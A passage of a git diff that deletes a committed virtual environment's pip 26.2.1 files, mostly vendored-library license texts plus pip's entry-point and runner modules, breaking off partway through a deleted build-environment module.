-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.BSD b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.BSD
deleted file mode 100644
index 42ce7b75c92fb01a3f6ed17eea363f756b7da582..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.BSD
+++ /dev/null
@@ -1,23 +0,0 @@
-Copyright (c) Donald Stufft and individual contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-    1. Redistributions of source code must retain the above copyright notice,
-       this list of conditions and the following disclaimer.
-
-    2. Redistributions in binary form must reproduce the above copyright
-       notice, this list of conditions and the following disclaimer in the
-       documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pkg_resources/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pkg_resources/LICENSE
deleted file mode 100644
index 1bb5a44356f00884a71ceeefd24ded6caaba2418..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pkg_resources/LICENSE
+++ /dev/null
@@ -1,17 +0,0 @@
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to
-deal in the Software without restriction, including without limitation the
-rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-sell copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
-IN THE SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/platformdirs/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/platformdirs/LICENSE
deleted file mode 100644
index f35fed9191b1142ddaada8a96de4a9461c5d796c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/platformdirs/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2010-202x The platformdirs developers
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pygments/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pygments/LICENSE
deleted file mode 100644
index 446a1a805c8a949579fb8a9799f2bec7777349dc..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pygments/LICENSE
+++ /dev/null
@@ -1,25 +0,0 @@
-Copyright (c) 2006-2022 by the respective authors (see AUTHORS file).
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-* Redistributions of source code must retain the above copyright
-  notice, this list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright
-  notice, this list of conditions and the following disclaimer in the
-  documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pyproject_hooks/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pyproject_hooks/LICENSE
deleted file mode 100644
index b0ae9dbc262b5f7ed4cb6f964cfb5eb5c0d0b0be..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/pyproject_hooks/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-The MIT License (MIT)
-
-Copyright (c) 2017 Thomas Kluyver
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/requests/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/requests/LICENSE
deleted file mode 100644
index 67db8588217f266eb561f75fae738656325deac9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/requests/LICENSE
+++ /dev/null
@@ -1,175 +0,0 @@
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/resolvelib/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/resolvelib/LICENSE
deleted file mode 100644
index b9077766e9b9bdcae49ea5c8fced750ed13ec8f7..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/resolvelib/LICENSE
+++ /dev/null
@@ -1,13 +0,0 @@
-Copyright (c) 2018, Tzu-ping Chung 
-
-Permission to use, copy, modify, and distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/rich/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/rich/LICENSE
deleted file mode 100644
index 4415505566f261c802b671426be529a31f914137..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/rich/LICENSE
+++ /dev/null
@@ -1,19 +0,0 @@
-Copyright (c) 2020 Will McGugan
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli/LICENSE
deleted file mode 100644
index e859590f886cd78344206af1a8ccb3080d4385e0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2021 Taneli Hukkinen
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli_w/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli_w/LICENSE
deleted file mode 100644
index e859590f886cd78344206af1a8ccb3080d4385e0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli_w/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2021 Taneli Hukkinen
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/truststore/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/truststore/LICENSE
deleted file mode 100644
index 7ec568c1136eb8ec86aa05cf7abacfb54c3e5ead..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/truststore/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-The MIT License (MIT)
-
-Copyright (c) 2022 Seth Michael Larson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/urllib3/LICENSE.txt b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/urllib3/LICENSE.txt
deleted file mode 100644
index e6183d0276b26c5b87aecccf8d0d5bcd7b1148d4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/urllib3/LICENSE.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2008-2020 Andrey Petrov and contributors.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/venv/Lib/site-packages/pip/__init__.py b/venv/Lib/site-packages/pip/__init__.py
deleted file mode 100644
index 451ca2f866039ffb86941ebae7a73789bf2fcedd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/__init__.py
+++ /dev/null
@@ -1,13 +0,0 @@
-from __future__ import annotations
-
-__version__ = "26.2.1"
-
-
-def main(args: list[str] | None = None) -> int:
-    """This is an internal API only meant for use by pip's own console scripts.
-
-    For additional details, see https://github.com/pypa/pip/issues/7498.
-    """
-    from pip._internal.utils.entrypoints import _wrapper
-
-    return _wrapper(args)
diff --git a/venv/Lib/site-packages/pip/__main__.py b/venv/Lib/site-packages/pip/__main__.py
deleted file mode 100644
index 094361cd1aa963d4b7e13ed0d22484390970d5f3..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/__main__.py
+++ /dev/null
@@ -1,24 +0,0 @@
-import os
-import sys
-
-# Remove '' and current working directory from the first entry
-# of sys.path, if present to avoid using current directory
-# in pip commands check, freeze, install, list and show,
-# when invoked as python -m pip 
-if sys.path[0] in ("", os.getcwd()):
-    sys.path.pop(0)
-
-# If we are running from a wheel, add the wheel to sys.path
-# This allows the usage python pip-*.whl/pip install pip-*.whl
-if not __spec__ or __spec__.parent == "":
-    # __file__ is pip-*.whl/pip/__main__.py
-    # first dirname call strips of '/__main__.py', second strips off '/pip'
-    # Resulting path is the name of the wheel itself
-    # Add that to sys.path so we can import pip
-    path = os.path.dirname(os.path.dirname(__file__))
-    sys.path.insert(0, path)
-
-if __name__ == "__main__":
-    from pip._internal.cli.main import main as _main
-
-    sys.exit(_main())
diff --git a/venv/Lib/site-packages/pip/__pip-runner__.py b/venv/Lib/site-packages/pip/__pip-runner__.py
deleted file mode 100644
index a1aee8195308a2095a6eff9019f6aeee4d89b2a6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/__pip-runner__.py
+++ /dev/null
@@ -1,50 +0,0 @@
-"""Execute exactly this copy of pip, within a different environment.
-
-This file is named as it is, to ensure that this module can't be imported via
-an import statement.
-"""
-
-# /!\ This version compatibility check section must be Python 2 compatible. /!\
-
-import sys
-
-# Copied from pyproject.toml
-PYTHON_REQUIRES = (3, 10)
-
-
-def version_str(version):  # type: ignore
-    return ".".join(str(v) for v in version)
-
-
-if sys.version_info[:2] < PYTHON_REQUIRES:
-    raise SystemExit(
-        "This version of pip does not support python {} (requires >={}).".format(
-            version_str(sys.version_info[:2]), version_str(PYTHON_REQUIRES)
-        )
-    )
-
-# From here on, we can use Python 3 features, but the syntax must remain
-# Python 2 compatible.
-
-import runpy  # noqa: E402
-from importlib.machinery import PathFinder  # noqa: E402
-from os.path import dirname  # noqa: E402
-
-PIP_SOURCES_ROOT = dirname(dirname(__file__))
-
-
-class PipImportRedirectingFinder:
-    @classmethod
-    def find_spec(self, fullname, path=None, target=None):  # type: ignore
-        if fullname != "pip":
-            return None
-
-        spec = PathFinder.find_spec(fullname, [PIP_SOURCES_ROOT], target)
-        assert spec, (PIP_SOURCES_ROOT, fullname)
-        return spec
-
-
-sys.meta_path.insert(0, PipImportRedirectingFinder())
-
-assert __name__ == "__main__", "Cannot run __pip-runner__.py as a non-main module"
-runpy.run_module("pip", run_name="__main__", alter_sys=True)
diff --git a/venv/Lib/site-packages/pip/_internal/__init__.py b/venv/Lib/site-packages/pip/_internal/__init__.py
deleted file mode 100644
index 24d0baf0c31c2902e45623a29aea8d7ede8c0dee..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/__init__.py
+++ /dev/null
@@ -1,18 +0,0 @@
-from __future__ import annotations
-
-from pip._internal.utils import _log
-
-# init_logging() must be called before any call to logging.getLogger()
-# which happens at import of most modules.
-_log.init_logging()
-
-
-def main(args: list[str] | None = None) -> int:
-    """This is preserved for old console scripts that may still be referencing
-    it.
-
-    For additional details, see https://github.com/pypa/pip/issues/7498.
-    """
-    from pip._internal.utils.entrypoints import _wrapper
-
-    return _wrapper(args)
diff --git a/venv/Lib/site-packages/pip/_internal/build_env/__init__.py b/venv/Lib/site-packages/pip/_internal/build_env/__init__.py
deleted file mode 100644
index 194e2742aeb5babdf13e400ce380ad76c0a20369..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/build_env/__init__.py
+++ /dev/null
@@ -1,25 +0,0 @@
-"""Build environments used for isolation during build backend calls."""
-
-from pip._internal.build_env.base import (
-    BuildEnvironment,
